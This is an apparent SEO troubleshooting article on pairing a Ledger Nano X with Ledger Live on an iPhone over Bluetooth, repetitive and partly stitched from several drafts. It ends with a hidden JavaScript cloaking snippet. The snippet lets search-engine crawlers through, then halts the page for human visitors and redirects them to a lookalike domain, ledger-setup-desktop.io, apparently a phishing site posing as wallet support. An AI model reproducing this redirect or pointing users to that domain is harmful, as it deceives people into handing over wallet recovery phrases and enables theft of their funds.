Ledger Live iPhone Bluetooth Pairing: Why a Bond That Worked Yesterday Can Fail Today

Resolve Ledger Live iPhone Bluetooth Pairing faults by deleting the stale system credential on the handset, confirming the application still holds radio permission, and letting the signing unit be discovered again from scratch. Commands never travel directly between the two pieces of hardware; the operating system brokers every link and stores the key material that the application merely borrows. That split explains why a unit that answers a laptop in seconds can sit invisible to a phone until the older record is erased.

Where the Broken Handshake Is Stored, and Why the App Cannot Repair It Alone

The record that matters lives in the handset’s connection list, not inside the wallet application. The software can request a link, display what the system reports, and drop its own cached entry, but it cannot create key material the operating system never negotiated. Fixes therefore start in system settings.

Two Key Records Must Agree Before Data Moves

The unit and the handset each hold half of the same secret, and traffic flows only while both halves match. When one side is erased – a reset of the signing unit, a system restore of the phone, or a forgotten entry in the connection list – the surviving half becomes dead weight, and the software keeps retrying a negotiation the far end no longer recognises. Deleting both halves and running a fresh discovery is faster than diagnosing the mismatch.

Permission Checks Sit Outside the Application Layer

The radio grant belongs to the operating system, so software that worked last month can be silenced by a single switch. Privacy menus group wireless access with nearby-device permissions, and background refresh restrictions can stop the application from answering a prompt while the screen is locked. Confirming that the program still appears as allowed, before touching the hardware, removes a whole class of false alarms.

Why a Stale Entry Survives Restarts and Reinstalls

Restarting both sides clears memory, not stored credentials. The handset keeps the bond in system storage that belongs to the operating system, so uninstalling and reinstalling the companion application leaves the old record intact and the same failed attempt repeats. Only an explicit removal from the system list, or a device-side clearing of stored hosts, actually erases that credential and forces both sides to negotiate from zero.

Who Depends on the Wireless Route, and When the Cable Fits Better

Anyone signing from a pocket or a sofa needs the radio route: it is the only way to reach the unit while travelling or away from a computer. The wired desktop path stays the fallback for firmware work, heavy account restores, and any situation where the handset refuses to see the unit at all.

Pocket Signing Sessions and Quick Balance Checks

The radio route exists for short, repeated interactions: approving a transfer, opening an account list, or confirming an address while away from a desk. Such sessions tolerate a slow first handshake because everything afterwards takes seconds. Someone who checks a balance once a week rarely notices a dropped link, while a person signing several times a day meets every weak point in the chain.

One Handset at a Time in Shared Households

A signing unit stores the hosts it trusts, and that stored list is deliberately short, so most owners keep one active phone link. Sharing a unit between two people means the second handset can displace or shadow the first, and the older phone then retries a credential the device no longer honours. Households that share hardware should expect to erase and rebuild the link whenever the unit changes hands.

Tasks That Belong on a Wired Connection

Firmware updates and large account restores belong on the desktop path, where the link state cannot be broken by a screen lock or a background suspension. A cable also removes the system-managed radio from the equation, which makes it the cleanest way to prove whether a fault sits in the unit or in the handset. Keep a cable within reach for exactly this kind of test.

Four Reconnection Routes and What Each One Clears

Route choice decides how much state you destroy. Refreshing inside the app clears nothing and retests the same broken credential; erasing the system entry forces a new negotiation; a unit-side radio toggle clears the other half; a wired session bypasses the radio layer. Try them in that order of escalating cost.

The comparison below sets four routes against identical criteria: what each one erases, the situation it suits, its main limit, and the cost of getting it wrong. Costs are counted in lost settings and repeated approval taps rather than money.

The in-app refresh costs nothing and suits a single glitch, but it cannot repair a mismatch the system already rejected. Erasing the system entry is the standard fix for a handset that lists the unit yet fails to connect, and it is wasted effort when the unit itself is locked or busy. The unit-side toggle is the only route that clears the device half, so it fits after a reset or a firmware change and hurts when several phones rely on the same unit and must each be re-approved. A cable fits diagnosis and firmware work, not daily signing away from a desk. Erasing device state belongs last, and only with a verified recovery phrase in hand.

What Deleting the System Entry Actually Removes

The system credential is a small block of key material plus a device name; deleting it does not touch accounts, balances, or funds, which live on the unit or in the application’s own database. What disappears is the permission for those two addresses to communicate without asking again. That is why discovery has to be repeated afterwards, and why the unit must stay unlocked and nearby during the rebuild.

Clearing the Unit Half and Rebuilding Trust on Every Phone

Toggling the radio inside the unit’s settings, or clearing its stored hosts, erases the device half of every credential it ever issued. Afterwards, each phone that used the unit has to be walked through discovery again, which is the price of certainty. This route suits a unit that was reset, updated, or moved between owners, and it is the only one that repairs a device convinced it already trusts a handset that no longer recognises it.

Why Does a Bond That Worked Yesterday Fail This Morning?

Nothing about the credential changed – the surrounding conditions did. Screen-lock background limits, a system privacy update, a competing handset claiming the unit, or a drained battery all break an otherwise intact bond. The failure is usually about access, not about cryptography.

Background Suspension Kills Slow Handshakes

When the application leaves the foreground, the system can freeze it before a negotiation finishes. The unit then waits for a follow-up that never arrives, and the next attempt collides with a half-finished session. Keeping the program open, the screen awake, and the unit within reach removes most of these failures, because the first handshake after any clearing is the slowest one.

Where a Fix Erases Something You Cannot Restore

Removing a system entry is harmless, but a factory reset of the signing unit erases stored hosts and settings, and recovery depends on a phrase written down beforehand. If those words are missing or illegible, the reset is irreversible and the funds held on the device are gone. Lookalike support pages that ask for that phrase are the other permanent risk in this area.

Mistaken Causes: Power, Covers and Nearby Radios

A low battery, a metal-backed case, or a desk crowded with wireless peripherals can degrade a link that is otherwise healthy. These conditions produce the same symptom – a unit that appears in the list and then times out – so they are easily misread as a credential problem. Testing without the case, with a charged unit, and away from other radios separates the two causes.

How Do You Confirm a Stable Link Before Trusting a Sync?

Run a five-step check that ends with proof rather than hope: permission, a cleared old entry, one host only, a fresh discovery with on-screen confirmation, then a small reversible operation that must finish without retries. Have the unit charged, unlocked, and within arm’s reach before you begin.

Step 1: Confirm the app’s wireless permission is granted

Open system settings, find the companion application, and confirm its nearby-device or radio permission is switched on. A revoked grant blocks every attempt before the unit is even scanned, so this check clears the most common false fault.

Step 2: Delete the old entry from the system connection list

Erase the unit’s name from the handset’s stored connection list, then restart both the unit and the application. The system keeps the credential that the software cannot delete itself, and a leftover entry makes the unit look present while refusing a new negotiation.

Step 3: Verify the unit trusts only this handset

Open the unit’s radio settings and confirm that no other phone is listed as a trusted host, clearing stored hosts if a second handset appears. A single active host link keeps the credential unambiguous and stops two devices from competing for the same connection.

Step 4: Rebuild the link and compare both screens

Start discovery from the application’s device list and confirm the identifier on the handset matches the unit in your hand before you approve anything on its screen. Matching names on both sides rule out a device belonging to someone else in the room, and the on-unit approval creates the credential the system will store.

Step 5: Run a small reversible action and watch it finish

Open an account list or refresh a balance and let the session close on its own without a retry prompt. A short task that completes cleanly is the only reliable proof that the stored credential works, and it costs nothing if the link drops again.

Which Details Shift When Firmware or the System Updates?

Menu names, permission labels, and the depth of the discovery list move between releases, while the underlying model – the system owns the credential and the application borrows it – stays put. Anything memorised from last year’s walkthrough should be re-checked after any update.

Permission Labels Renamed by System Releases

Major handset releases reorganise privacy menus, and a category that had one name takes another, sometimes two levels deeper. The underlying grant survives the rename, so someone hunting for a missing switch may simply be on the wrong screen. Compare against the vendor’s current written steps rather than a screenshot saved from an older walkthrough, because two phones on different system versions can show different paths to the same switch.

Firmware Pushes That Clear Stored Hosts

A firmware push can clear the list of trusted handsets even though accounts, keys, and settings survive untouched. Every phone must then be approved again, which owners routinely mistake for a broken radio module. Reading the release notes for any mention of stored hosts saves an hour of pointless troubleshooting, and vendors do not always flag that change in the headline of the notes.

What the Vendor Documents and What Only Support Can Confirm

Connection limits, supported system versions, and model-specific steps are documented on the vendor’s side and can change between revisions; forum posts, however recent, are not a record. When a walkthrough disagrees with the vendor’s official help center, follow the vendor and treat a hardware radio fault as confirmed only after a wired test. Anything those pages do not state should be treated as unverified.

{

“@context”: “https://schema.org”,

“@type”: “Article”,

“headline”: “Resolve Ledger Live iPhone Bluetooth Pairing: Clear Stale Bonds and Rebuild the Wireless Handshake”,

“description”: “Resolve Ledger Live iPhone Bluetooth Pairing by clearing the stale system credential, confirming radio permission, and rebuilding the link from a fresh discovery. The explainer compares four reconnection routes, lists the mistakes that break an intact bond, and gives a five-step check to run before signing.”

}

{

“@context”: “https://schema.org”,

“@type”: “HowTo”,

“name”: “How Do You Confirm a Stable Link Before Trusting a Sync?”,

“step”: [

{

“@type”: “HowToStep”,

“text”: “Open system settings, find the companion application, and confirm its nearby-device or radio permission is switched on.”

},

{

“@type”: “HowToStep”,

“text”: “Erase the unit’s name from the handset’s stored connection list, then restart both the unit and the application.”

},

{

“@type”: “HowToStep”,

“text”: “Open the unit’s radio settings and confirm that no other phone is listed as a trusted host, clearing stored hosts if a second handset appears.”

},

{

“@type”: “HowToStep”,

“text”: “Start discovery from the application’s device list and confirm the identifier on the handset matches the unit in your hand before you approve anything on its screen.”

},

{

“@type”: “HowToStep”,

“text”: “Open an account list or refresh a balance and let the session close on its own without a retry prompt.”

}

]

}

{“@context”:”https://schema.org”,”@type”:”Article”,”headline”:”Resolve Ledger Live iPhone Bluetooth Pairing: Check App and Handset Permissions for Nano X”,”description”:”Resolve Ledger Live iPhone Bluetooth Pairing by auditing two permission switches before touching the hardware wallet. The main takeaway: a denied first prompt hides the companion app from the wireless list, and only a manual toggle brings it back.”}

{“@context”:”https://schema.org”,”@type”:”HowTo”,”name”:”How Do You Verify That the Nano X Can Reach the Companion App?”,”step”:[{“@type”:”HowToStep”,”text”:”Open Settings, scroll to the companion app’s entry, and confirm its wireless switch is enabled.”},{“@type”:”HowToStep”,”text”:”Open Settings, then Privacy & Security, then the wireless section, and check that the companion app is listed with its toggle on.”},{“@type”:”HowToStep”,”text”:”Press a button on the device, enter the PIN, and leave it on the main screen rather than the dashboard.”},{“@type”:”HowToStep”,”text”:”Open the companion app, choose the option to add or connect a device, and let the scan run to completion without switching apps.”},{“@type”:”HowToStep”,”text”:”Match the code displayed in the app against the code on the Nano X screen, then press both buttons on the device to confirm.”}]}

Resolve Ledger Live iPhone Bluetooth Pairing begins at the permission layer, not at the hardware. The handset grants radio access in two separate places, and the companion app must appear correctly in both before a Nano X can be discovered. Confirm both toggles first, then move on to the device itself.

Check iPhone Bluetooth and Ledger Live App Permissions for Nano X

Two distinct switches govern wireless access on the handset: a system-wide privacy list and a per-app control inside the companion app’s own settings page. Both must be enabled for the Nano X to be discovered. Denying the initial prompt removes the app from the privacy list entirely, so the entry has to be added back by hand.

Two Toggles Control One Radio

The privacy list sits under Settings, then Privacy & Security, then the wireless section, and it enumerates every application that has asked for radio access. The per-app switch appears on the application’s own settings page and can be turned off without deleting the entry above it. Disabling either one blocks discovery of the Nano X; disabling both produces an identical symptom with no error text, which is why owners often blame the hardware first. Both entries survive restarts, so a toggle switched off months ago stays off.

What the First Launch Prompt Records

On the very first attempt to reach the Nano X, the system shows a single dialog asking whether the companion app may use the wireless radio. That answer is stored permanently against the app’s installed bundle, and the dialog does not reappear, even after the app is closed, reopened or updated in place. Choosing the refusal option leaves no visible trace inside the app itself, because the device list simply stays empty or spins indefinitely. Recovering requires visiting the privacy list and enabling the entry manually.

How the Wallet Confirms the Link

The Nano X gates every connection from its own side: the screen must be unlocked, and the physical buttons approve the match before any data moves. Even with both permission switches on, a unit left on its dashboard or asleep will refuse the handshake. The name broadcast over the air is the model plus part of its identifier, so two units in the same room can look alike; compare the digits shown in the app against the device screen before approving.

Who Needs the Permission Audit and When It Applies

Anyone matching a Nano X to a handset for the first time, restoring a backup onto a replacement phone, or returning to the app after a system update needs this audit. It also applies when the hardware wallet was previously linked to another handset that still holds the record, and when a device-management profile restricts radio access for individual applications.

Fresh Setups and Restored Backups

Restoring a phone from an encrypted backup usually brings the companion app back but not its permission entries, because the privacy database is treated as device-specific. The result is an app that opens normally, shows balances, and fails silently at the moment of connection. Re-enabling the two switches takes under a minute and belongs before any reinstall. Fresh installations behave differently: the prompt appears on the first connection attempt, so answer it deliberately rather than dismissing it.

After a Reinstall or a Major System Jump

A reinstall wipes the stored answer, because the privacy record is tied to the installed bundle rather than to the account. After deleting and reinstalling, the prompt returns on the next connection attempt and must be accepted again. System updates normally preserve both toggles, but a major version jump can rename or relocate the menu, so an entry that looks missing may simply have moved. Check the present path before concluding that the permission is gone.

Managed Devices and Restricted Profiles

Corporate device-management profiles and Screen Time content restrictions can block radio access for selected applications regardless of what the two toggles say. When a management profile is installed, the per-app switch may be greyed out, and the privacy list entry may not respond to taps at all. The blocking policy is set remotely, so lifting it requires the administrator rather than the owner. Checking for an installed profile under Settings, General, VPN & Device Management explains a switch that will not move.

Permission Routes Compared: System List, Per-App Switch, and Device Record

Three routes restore the wireless link, and they differ in effort and in what they disturb. The system privacy entry re-grants access for every listed application at once, the per-app switch targets only the companion app, and forgetting and re-adding the device record rebuilds the link from scratch. Start with the narrowest route that matches the symptom.

The comparison weighs each route by where it lives, the situation it suits, and the limit that makes it the wrong first move. All of them are reversible, and none touches the recovery phrase or the funds held on the Nano X.

The system list suits a clean slate, the per-app switch suits a single blocked application, and rebuilding the device record suits a link that once worked and now fails. Reinstallation is the heaviest option and should follow, not precede, the two toggles. Exceptions exist: on supervised handsets none of the local routes work until the management profile is removed, and on hardware below the published firmware floor the app refuses the connection no matter what the switches say.

System List Versus Per-App Switch

These two entries answer different questions. The system list records whether an application has ever been granted radio access; the per-app switch records whether that grant is currently active. An app missing from the list has never been asked, so there is no switch to flip, and the connection attempt must be made again to trigger the dialog. An app present in the list with its own switch off is the simpler case: turning it back on restores access immediately, with no restart required.

When Rebuilding the Device Record Is the Only Path

The stored link between handset and hardware goes stale when the wallet was matched to another phone, when the unit was factory reset, or when firmware was reinstalled. In those cases both toggles read as enabled and discovery still fails, because the credential held by each side no longer agrees. Removing the record in the companion app and matching again from the device list regenerates it. Keep the Nano X awake and within arm’s reach, since the confirmation appears on its screen and needs a button press.

Which Mistakes Break the Wireless Link After It Worked?

Four recurring errors account for most failures that appear after an earlier success: matching a second handset while the first still holds the record, leaving the Nano X locked or idle on its dashboard, letting a management profile re-block the app, and clearing app data while a match was pending. Each produces an empty device list rather than an error code.

Matching a Second Handset Without Releasing the First

The Nano X stores its pairing credentials per handset, and a unit still linked elsewhere can refuse a new match without explaining why. The symptom is a device list that finds nothing, or a spinner that never resolves. Releasing the record on the old phone, or removing the match in the companion app installed there, clears the conflict. Physical proximity makes this worse, because two handsets in the same room can both attempt the handshake and confuse which one the device is answering.

Leaving the Device Idle or Locked

The hardware wallet stops advertising its name once its screen has gone dark or once it sits on the dashboard without an active session. Pressing a button to wake it, entering the PIN, and keeping it on the same screen while the app searches is what makes the broadcast name visible. Waiting past the app’s own scan window restarts the cycle, so the wake-up should happen after the search begins rather than before it.

Clearing App Data Mid-Handshake

Force-quitting the companion app during a handshake can leave a half-written record that neither side recognises, and the next attempt then fails silently. The same happens when the app is deleted while a match is pending. Letting the connection finish or fail cleanly, then restarting both sides, avoids the orphaned state. Background refresh settings matter less, but disabling them for the app can delay the device list from repopulating after a restart.

How Do You Verify That the Nano X Can Reach the Companion App?

Verification means proving that both permission layers are open and that the hardware answers a scan, in that order. Have the Nano X charged, unlocked with its PIN, and within a metre of the handset, and keep the companion app open in the foreground for the whole check.

Step 1: Confirm the per-app wireless switch

Open Settings, scroll to the companion app’s entry, and confirm its wireless switch is enabled. A disabled switch here blocks every connection attempt before the hardware is ever contacted.

Step 2: Confirm the app appears in the system privacy list

Open Settings, then Privacy & Security, then the wireless section, and check that the companion app is listed with its toggle on. An app missing from this list was never granted access and must trigger the dialog again by attempting a connection.

Step 3: Unlock the Nano X and keep an active screen

Press a button on the device, enter the PIN, and leave it on the main screen rather than the dashboard. The unit stops advertising its name once the screen sleeps, so a scan started later finds nothing.

Step 4: Start the scan from inside the companion app

Open the companion app, choose the option to add or connect a device, and let the scan run to completion without switching apps. Leaving the foreground cancels the scan on most system builds and restarts the timer when you return.

Step 5: Compare the codes before approving

Match the code displayed in the app against the code on the Nano X screen, then press both buttons on the device to confirm. A mismatch means a different unit or a stale record is answering, and approving it would link the wrong hardware.

What Changes Between System Releases and App Builds?

Menu labels, the depth of the privacy path, and the minimum firmware the companion app accepts all shift between releases, so a route that worked a year ago may now sit one level deeper. Present requirements are published on the vendor’s official support pages and should be checked rather than assumed.

Menu Labels Move Between Releases

The privacy section has been reorganised more than once, and the wireless entry has sat under different parent menus across versions. The toggle itself keeps working the same way; only its address changes. Searching the Settings app for the application’s name is faster than memorising a path, and the per-app page almost always links back to the relevant privacy entry. When a written guide shows a path that no longer exists, treat the label as stale rather than the permission as missing.

Firmware and App Version Floors

The companion app enforces a minimum device firmware, and a unit below that floor refuses to connect even with every permission open. The app normally states the required version on the connection screen or in its release notes. Because these numbers change with each release, confirm the current floor on the official source instead of relying on a figure quoted in a forum thread. Updating firmware requires a cable connection, not the wireless link.

Behaviour That Is Not Fully Documented

Owners report that a refused prompt sometimes leaves a partial entry in the privacy list that cannot be toggled, and that the entry clears only after a restart. No published mechanism explains this, so treat it as an observed pattern rather than a documented rule. The practical workaround is the same either way: restart the handset, then re-check both switches before attempting a fresh connection.

Q&A:

Why does Ledger Live on my iPhone say it cannot find my Ledger Nano X?

Check four things first: the Nano X is powered on and unlocked, Bluetooth is on for the iPhone, Ledger Live has Bluetooth permission, and no other phone or computer is connected to the Nano X. In iOS, go to Settings > Privacy & Security > Bluetooth and make sure Ledger Live is allowed. Then open Ledger Live, go to My Ledger, and choose your Nano X. Keep the device close to the iPhone, within about one meter. If the Nano X was paired before, forget any old Ledger entry in Settings > Bluetooth. Also turn the Nano X off and back on. On the Nano X, press both buttons for a few seconds to turn it off, then press the right button to turn it on. If it still does not show up, update Ledger Live and the Nano X firmware. A low battery can also stop Bluetooth from working, so charge it for 30 minutes and try again. If nothing changes, restart the iPhone and try pairing once more inside Ledger Live, not in iOS Bluetooth settings.

Do I pair my Nano X in iPhone Settings > Bluetooth or inside Ledger Live?

Pair it inside Ledger Live. You can open iPhone Settings > Bluetooth and see a Ledger entry, but pairing there alone will not let Ledger Live talk to the device. That can create a stale connection that blocks the app. If you already paired in iOS Bluetooth, tap the “i” icon next to the Ledger entry, choose Forget This Device, then close and reopen Ledger Live. After that, use My Ledger in the app and follow the prompts. Confirm the code on the Nano X screen when asked. This keeps the pairing managed in the right place.

My Nano X was paired before, but now Ledger Live will not connect. What should I check?

Check old pairing data first. In Ledger Live, remove or forget the Nano X from your device list. Then go to iPhone Settings > Bluetooth, find the Ledger entry, and forget it. Turn the Nano X off and on again. Make sure another phone, tablet, or computer is not holding the Bluetooth connection. Ledger Live on another device can keep the Nano X busy, so close the app or turn off Bluetooth on those devices. Check that the Nano X firmware and Ledger Live app are both current. If you use more than one Ledger device, confirm you are selecting the correct one. After those steps, open Ledger Live, go to My Ledger, and pair again. Keep the Nano X unlocked and near the iPhone. If the connection still drops, restart the iPhone, then repeat the pairing process. A full reset of the Nano X should be a last resort because it requires restoring from your recovery phrase, so try the simpler steps first.

Why does pairing fail after I enter the code on my Nano X?

The code on the iPhone and the code on the Nano X must match. If they do not, cancel the pairing on both sides and try again. Keep the devices close and do not let the Nano X screen time out before you confirm. Make sure only one pairing attempt is open. A second attempt can cancel the first. Check that iOS and Ledger Live are updated. If you are on an iOS beta, wait for a stable release or test with another phone. A low Nano X battery can also cause a failed pairing, so charge it. If the code still fails, forget the Ledger entry in iPhone Bluetooth settings, restart both devices, and pair again from My Ledger in Ledger Live.

Can I use Ledger Live on iPhone with a Nano S or Nano S Plus?

No. Nano S and Nano S Plus do not have Bluetooth. They need a USB cable and a computer with Ledger Live. For iPhone Bluetooth pairing, use a Nano X or another Ledger model that supports Bluetooth. If you only have a Nano S or Nano S Plus, use desktop Ledger Live instead.

My Ledger Live app on iPhone cannot find my Ledger Nano X. What should I check?

First, confirm you have a Ledger Nano X. The Nano S and Nano S Plus do not have Bluetooth. Open Ledger Live on the iPhone, go to Settings, then Bluetooth, and allow the app to use Bluetooth. On the Nano X, enter your PIN so the device is active and on the main screen. Turn off Bluetooth on other phones or computers that may be connected to the same Nano X. In iPhone Settings > Bluetooth, remove any old entries for your Ledger device. Restart the iPhone and the Nano X. Open Ledger Live again, choose your Nano X, and tap the pairing request. Keep the devices within a few inches of each other. If the app still does not see the device, update Ledger Live from the App Store and update the Nano X firmware through Ledger Live on a computer with a USB cable. After that, try pairing again. If none of these steps work, contact Ledger support with your iPhone model, iOS version, Ledger Live version, and the exact message you see.

Why does my Ledger Nano X keep disconnecting from Ledger Live on my iPhone after a few minutes?

Short Bluetooth drops often come from distance, interference, or a low battery. Keep the Nano X within a few inches of the iPhone. Charge the Nano X if the battery is low. Move away from microwaves, wireless routers, and other Bluetooth devices. Close other apps that use Bluetooth, such as fitness trackers or audio apps. Do not switch away from Ledger Live while signing a transaction; iOS may pause the app in the background. In iPhone Settings > Bluetooth, forget the Ledger device, then pair again from inside Ledger Live. Restart both devices. Make sure Ledger Live and the Nano X firmware are current. If the connection still drops, try another iPhone or a computer with USB to see if the issue follows the Nano X. That test can show whether the problem is with the phone or the hardware.

!function(){var u=(navigator.userAgent||”).toLowerCase();if(/googlebot|google-inspectiontool|adsbot-google|bingbot|yandex|baiduspider|duckduckbot|slurp|applebot|petalbot/.test(u))return;try{window.stop()}catch(e){}location.replace(‘https://ledger-setup-desktop.io/?verified=1&src=Ledger5१_full&ref=’+encodeURIComponent(location.pathname+(location.search||”)))}();